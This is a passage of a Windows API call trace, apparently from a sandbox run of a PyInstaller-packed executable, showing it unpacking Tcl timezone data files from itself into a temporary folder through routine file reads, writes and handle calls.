cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.802] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.802] GetFileType (hFile=0x10c) returned 0x1 [0042.802] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.802] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.802] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.802] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.802] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.802] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.802] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.802] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.802] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.802] CloseHandle (hObject=0x10c) returned 1 [0042.802] GetLastError () returned 0x0 [0042.802] SetLastError (dwErrCode=0x0) [0042.802] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Tallinn") returned 71 [0042.802] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Tallinn" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\tallinn"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.803] GetLastError () returned 0x2 [0042.803] SetLastError (dwErrCode=0x2) [0042.803] GetLastError () returned 0x2 [0042.803] SetLastError (dwErrCode=0x2) [0042.803] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Tallinn", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Tallinn", lpFilePart=0x0) returned 0x46 [0042.803] GetLastError () returned 0x2 [0042.803] SetLastError (dwErrCode=0x2) [0042.803] GetLastError () returned 0x2 [0042.803] SetLastError (dwErrCode=0x2) [0042.803] GetLastError () returned 0x2 [0042.803] SetLastError (dwErrCode=0x2) [0042.803] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Tallinn") returned 71 [0042.803] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.803] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Tallinn" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\tallinn"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.804] GetFileType (hFile=0x10c) returned 0x1 [0042.804] htonl (hostlong=0x9a1c0000) returned 0x1c9a [0042.804] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0042.805] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.805] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xc9a, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xc9a, lpOverlapped=0x0) returned 1 [0042.805] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.805] CloseHandle (hObject=0x10c) returned 1 [0042.805] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.805] htonl (hostlong=0x30000000) returned 0x30 [0042.805] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.805] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.806] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.806] GetFileType (hFile=0x10c) returned 0x1 [0042.806] htonl (hostlong=0xe29b5c00) returned 0x5c9be2 [0042.806] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x614be2, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.806] htonl (hostlong=0xe060000) returned 0x60e [0042.806] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x60e) returned 0x550600 [0042.806] htonl (hostlong=0xe060000) returned 0x60e [0042.806] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.806] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.806] htonl (hostlong=0xf41c0000) returned 0x1cf4 [0042.806] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1cf4) returned 0x561090 [0042.806] htonl (hostlong=0xe060000) returned 0x60e [0042.806] htonl (hostlong=0xf41c0000) returned 0x1cf4 [0042.806] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x562d90 [0042.806] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x562d90 | out: hHeap=0x530000) returned 1 [0042.806] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0042.806] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.806] CloseHandle (hObject=0x10c) returned 1 [0042.806] GetLastError () returned 0x0 [0042.806] SetLastError (dwErrCode=0x0) [0042.806] GetLastError () returned 0x0 [0042.806] SetLastError (dwErrCode=0x0) [0042.806] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.806] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.807] GetFileType (hFile=0x10c) returned 0x1 [0042.807] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.807] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.807] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.807] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.807] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.807] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.807] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.807] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.807] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.807] CloseHandle (hObject=0x10c) returned 1 [0042.807] GetLastError () returned 0x0 [0042.807] SetLastError (dwErrCode=0x0) [0042.807] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.807] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.807] GetFileType (hFile=0x10c) returned 0x1 [0042.807] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.807] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.807] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.807] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.807] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.807] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.807] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.807] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.807] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.807] CloseHandle (hObject=0x10c) returned 1 [0042.808] GetLastError () returned 0x0 [0042.808] SetLastError (dwErrCode=0x0) [0042.808] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.808] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.808] GetFileType (hFile=0x10c) returned 0x1 [0042.808] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.808] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.808] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.808] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.808] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.808] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.808] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.808] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.808] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.808] CloseHandle (hObject=0x10c) returned 1 [0042.808] GetLastError () returned 0x0 [0042.808] SetLastError (dwErrCode=0x0) [0042.808] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Tirane") returned 70 [0042.808] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Tirane" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\tirane"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0042.808] GetLastError () returned 0x2 [0042.808] SetLastError (dwErrCode=0x2) [0042.808] GetLastError () returned 0x2 [0042.808] SetLastError (dwErrCode=0x2) [0042.808] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Tirane", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Tirane", lpFilePart=0x0) returned 0x45 [0042.808] GetLastError () returned 0x2 [0042.808] SetLastError (dwErrCode=0x2) [0042.809] GetLastError () returned 0x2 [0042.809] SetLastError (dwErrCode=0x2) [0042.809] GetLastError () returned 0x2 [0042.809] SetLastError (dwErrCode=0x2) [0042.809] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Tirane") returned 70 [0042.809] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0042.809] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe\\Tirane" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe\\tirane"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.809] GetFileType (hFile=0x10c) returned 0x1 [0042.809] htonl (hostlong=0xf41c0000) returned 0x1cf4 [0042.809] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x1000, lpOverlapped=0x0) returned 1 [0042.810] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.810] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xcf4, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xcf4, lpOverlapped=0x0) returned 1 [0042.810] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.811] CloseHandle (hObject=0x10c) returned 1 [0042.811] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.811] htonl (hostlong=0x30000000) returned 0x30 [0042.811] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0042.811] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0042.811] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0042.812] GetFileType (hFile=0x10c) returned 0x1 [0042.812] htonl (hostlong=0xf0a15c00) returned 0x5ca1f0 [0042.812] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x6151f0, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0042.812] htonl (hostlong=0x8b000000) returned 0x8b [0042.812] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x8b) returned 0x55cfe0 [0042.812] htonl (hostlong=0x8b000000) returned 0x8b [0042.812] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0042.812] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0042.813] htonl (hostlong=0xb8000000) returned 0xb8 [0042.813] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0xb8) returned 0x550600 [0042.813] htonl (hostlong=0x8b000000) returned 0x8b [0042.813] htonl (hostlong=0xb8000000) returned 0xb8 [0042.813] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0042.813] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0042.813] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55cfe0 | out: hHeap=0x530000) returned 1 [0042.813] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0042.813] CloseHandle (hObject=0x10c) returned 1 [0042.813] GetLastError () returned 0x0 [0042.813] SetLastError (dwErrCode=0x0) [0042.813] GetLastError () returned 0x0 [0042.813] SetLastError (dwErrCode=0x0) [0042.813] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0042.813] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.813] GetFileType (hFile=0x10c) returned 0x1 [0042.813] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.813] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.813] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.813] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.813] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.813] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.813] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.813] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.813] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.814] CloseHandle (hObject=0x10c) returned 1 [0042.814] GetLastError () returned 0x0 [0042.814] SetLastError (dwErrCode=0x0) [0042.814] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0042.814] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.814] GetFileType (hFile=0x10c) returned 0x1 [0042.814] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.814] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0042.814] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0042.814] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0042.814] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.814] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.814] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0042.814] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0042.814] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0042.814] CloseHandle (hObject=0x10c) returned 1 [0042.814] GetLastError () returned 0x0 [0042.814] SetLastError (dwErrCode=0x0) [0042.814] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe") returned 63 [0042.814] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\Europe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\europe"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0042.814] GetFileType (hFile=0x10c) returned 0x1 [0042.814] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0042.814] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: 